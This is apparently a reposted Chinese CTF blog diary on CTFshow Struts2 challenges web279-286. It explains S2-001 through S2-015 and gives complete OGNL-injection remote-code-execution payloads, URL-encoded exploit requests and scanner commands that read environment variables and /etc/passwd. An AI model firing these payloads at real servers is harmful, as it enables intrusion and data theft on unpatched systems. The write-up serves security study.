资讯专栏INFORMATION COLUMN

CTFshow刷题日记-WEB-JAVA(web279-300)Struts2全漏洞复现,Java漏

jindong / 1651人阅读

摘要:全部题都是框架漏洞是用语言编写的一个基于设计模式的应用框架关于漏洞,都有环境并且给出了漏洞原理和项目地址判断网站是否基于的方法链接通过页面回显的错误消息来判断,页面不回显错误消息时则无效通过网页后缀来判断,如,有可能不

全部题都是struts2框架漏洞

Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架

关于struts2漏洞,vulhub都有环境并且给出了漏洞原理和poc

GitHub项目地址:https://github.com/vulhub/vulhub/tree/master/struts2

判断网站是否基于Struts2的方法链接

  • 通过页面回显的错误消息来判断,页面不回显错误消息时则无效
  • 通过网页后缀来判断,如.do .action,有可能不准
    • 如果配置文件中常数extension的值以逗号结尾或者有空值,指明了action可以不带后缀,那么不带后缀的uri也可能是struts2框架搭建的
    • 如果使用Struts2的rest插件,其默认的struts-plugin.xml指定的请求后缀为xhtml,xml和json
  • 判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true

web279-S2-001

提示:echo FLAG

s2-001是一个struts2命令执行漏洞编号,这篇文章给了详细介绍链接

漏洞原理

struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据

加法表达式%{1+1}成功执行

了解下OGNL表达式中三个符号 %,#,$ 的含义

  • %的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值
  • #的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用
  • $主要是在Struts 2配置文件中,引用OGNL表达式

payload

// 获取tomcat路径%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}// 获取web路径%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath("/")),#response.flush(),#response.close()}// 命令执行 env,flag就在其中password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1

利用工具也可以

具体使用方法readme.md

检查漏洞

执行命令

python ./Struts2Scan.py -u http://d6dc977e-f251-4e90-b943-cc51fc1323ff.challenge.ctf.show:8080/S2-001/login.action -n S2-001 --exec>>> env

既然是学习就要不只是简单的用下工具,所以后边的题目我也会一个个分析

web280-S2-005

漏洞原理

先来了解下S2-003

Struts2将HTTP的每个参数名解析为ognl语句执行,而ognl表达式是通过#来访问struts的对象,Struts2框架虽然过滤了#来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果

影响版本:Struts 2.0.0 - Struts 2.0.11.2

再看S2-005参考链接

S2-005和S2-003的原理是类似的,因为官方在修补S2-003不全面,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003

影响版本:Struts 2.0.0 - Struts 2.1.8.1

poc

?("/u0023context[/"xwork.MethodAccessor.denyMethodExecution/"]/u003dfalse")(bla)(bla)&("/u0023_memberAccess.excludeProperties/u003d@java.util.Collections@EMPTY_SET")(kxlzx)(kxlzx)&("/u0023mycmd/u003d/"ifconfig/"")(bla)(bla)&("/u0023myret/u003d@java.lang.Runtime@getRuntime().exec(/u0023mycmd)")(bla)(bla)&(A)(("/u0023mydat/u003dnew/40java.io.DataInputStream(/u0023myret.getInputStream())")(bla))&(B)(("/u0023myres/u003dnew/40byte[51020]")(bla))&(C)(("/u0023mydat.readFully(/u0023myres)")(bla))&(D)(("/u0023mystr/u003dnew/40java.lang.String(/u0023myres)")(bla))&("/u0023myout/u003d@org.apache.struts2.ServletActionContext@getResponse()")(bla)(bla)&(E)(("/u0023myout.getWriter().println(/u0023mystr)")(bla))

但是poc没有攻击成功

工具提示存在016,挺离谱的

web281-S2-007

漏洞原理

当配置了验证规则 -validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回

影响版本:Struts2 2.0.0 - Struts2 2.2.3

执行任意代码poc

" + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream())) + "

传入可以利用的输入框(age)

可以看出 age 框执行了命令

web282-S2-008

漏洞原理

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的

影响版本:Struts 2.1.0 - Struts 2.3.1

姿势1

虽然在struts2没有对恶意代码进行限制,但是java的webserver(Tomcat),对cookie的名称有较多限制,在传入struts2之前就被处理,从而较为鸡肋

Cookie:("#_memberAccess.setAllowStaticMethodAccess(true)")(1)(2)=Aluvion; ("@java.lang.Runtime@getRuntime().exec("calc")")(1)(2)=Twings;

没有测试成功

姿势2

开启了调试模式,但是调试模式中存在 OGNL 表达式注入漏洞

devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29)

web283-S2-009

提示:Struts2 showcase远程代码执行漏洞

截图混个脸熟

测试环境是一个struts2的“功能展示”网站Struts Showcase,代码很多,我们的目标是去找一个接受了参数,参数类型是string的action

漏洞原理

这个漏洞再次来源于s2-003、s2-005

参考Struts2漏洞分析之Ognl表达式特性引发的新思路,文中说到,该引入ognl的方法不光可能出现在这个漏洞中,也可能出现在其他java应用中

Struts2对s2-003的修复方法是禁止静态方法调用,在s2-005中可直接通过OGNL绕过该限制,对于#号,同样使用编码/u0023/43进行绕过;于是Struts2对s2-005的修复方法是禁止/等特殊符号,使用户不能提交反斜线

但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=&(example)("xxx")=1的方法来执行它,从而绕过官方对#/等特殊字符的防御

通过Struts2框架中ParametersInterceptor拦截器只检查传入的参数名而不检查参数值的方式进行构造OGNL表达式从而造成代码执行

影响版本:Struts 2.0.0 - Struts 2.3.1

http://your-ip:8080/ajax/example5.action即可访问该控制器

payload

ip/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27whoami%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

下载example5.action文件,用记事本打开

将命令替换成 env 即可得到 flag

web284-S2-012

由url可以得知漏洞是S2-012

漏洞原理

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

<package name="S2-012" extends="struts-default">    <action name="user" class="com.demo.action.UserAction">        <result name="redirect" type="redirect">/index.jsp?name=${name}result>        <result name="input">/index.jspresult>        <result name="success">/index.jspresult>    action>package>

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行

影响版本: 2.1.0 - 2.3.13

poc

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

web285-S2-013

漏洞原理

Struts2 标签中 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

  1. none - 链接不包含请求的任意参数值(默认)
  2. get - 链接只包含 GET 请求中的参数和其值
  3. all - 链接包含 GET 和 POST 所有参数和其值

用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞

影响版本:2.0.0 - 2.3.14.1

poc

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec("id").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}// 或${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream())}

访问

/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec("id").getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println("dbapp%3D"%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

可以执行执行命令

S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式,因此 S2-014 是对其的补丁加强

poc

http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D

web286-S2-015

漏洞原理

漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:

            /{1}.jsp    

上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / " / 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功

还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过 #_memberAccess["allowStaticMethodAccess"]=true 来修改其值达到重获静态方法调用的能力

影响版本: 2.0.0 - 2.3.14.2

测试漏洞

poc

${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#m=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream()),#q}.action

url编码发送

%24%7b%23%63%6f%6e%74%65%78%74%5b%27%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%27%5d%3d%66%61%6c%73%65%2c%23%6d%3d%23%5f           
               
                                           
                       
                 

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/122361.html

相关文章

  • CTFshow刷题日记-WEB-SSRF(web351-360)SSRF总结

    摘要:基础服务器端请求伪造是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。可以先截获请求包和请求包,再构造成符合协议的请求。该标志接受和值。 SSRF基础 SSRF...

    Labradors 评论0 收藏0
  • CTFshow刷题日记-WEB-反序列化篇(上,254-263)

    摘要:非反序列化简单审计这个题是搞笑的么按着源码顺序走一遍接受两个参数生成对象调用函数函数伪造请求需要伪造头这题和反序列化没关系。。。如果存在该方法将在任何序列化之前优先执行。 ...

    番茄西红柿 评论0 收藏2637
  • CTFshow刷题日记-WEB-黑盒测试(web380-395)文件包含、日志包含getshell、

    web380-扫目录文件包含 扫目录,存在page.php 访问发现报错,$id参数,可能存在文件包含 /page.php?id=flag web381-读源码找后台地址 page.php已经无法文件包含 看源码有一个可疑的路径 访问这个目录,最后注意一定要带上/ web382-383弱口令加万能密码 上题的/alsckdfy/目录访问之后是个登录界面 burp抓包爆破就行了,p字段,这...

    xeblog 评论0 收藏0
  • CTFshow刷题日记-WEB-JWT(web345-350)

    JWT JWT(json web token),令牌以紧凑的形式由三部分组成,这些部分由点(.)分隔 HeaderPayloadSignature header示例 { 'typ': 'JWT', 'alg': 'HS256'}# typÿ...

    番茄西红柿 评论0 收藏2637
  • weblogic总结复现

    摘要:在当前页面抓包后修改内容,写入冰蝎脚本文件。添加的内容为实现反弹。影响范围相关漏洞有复现过程环境这里先使用扫描一下是否开启了服务。使用工具写入。 目录 简介Web...

    glumes 评论0 收藏0

发表评论

0条评论

最新活动
阅读需要支付1元查看
<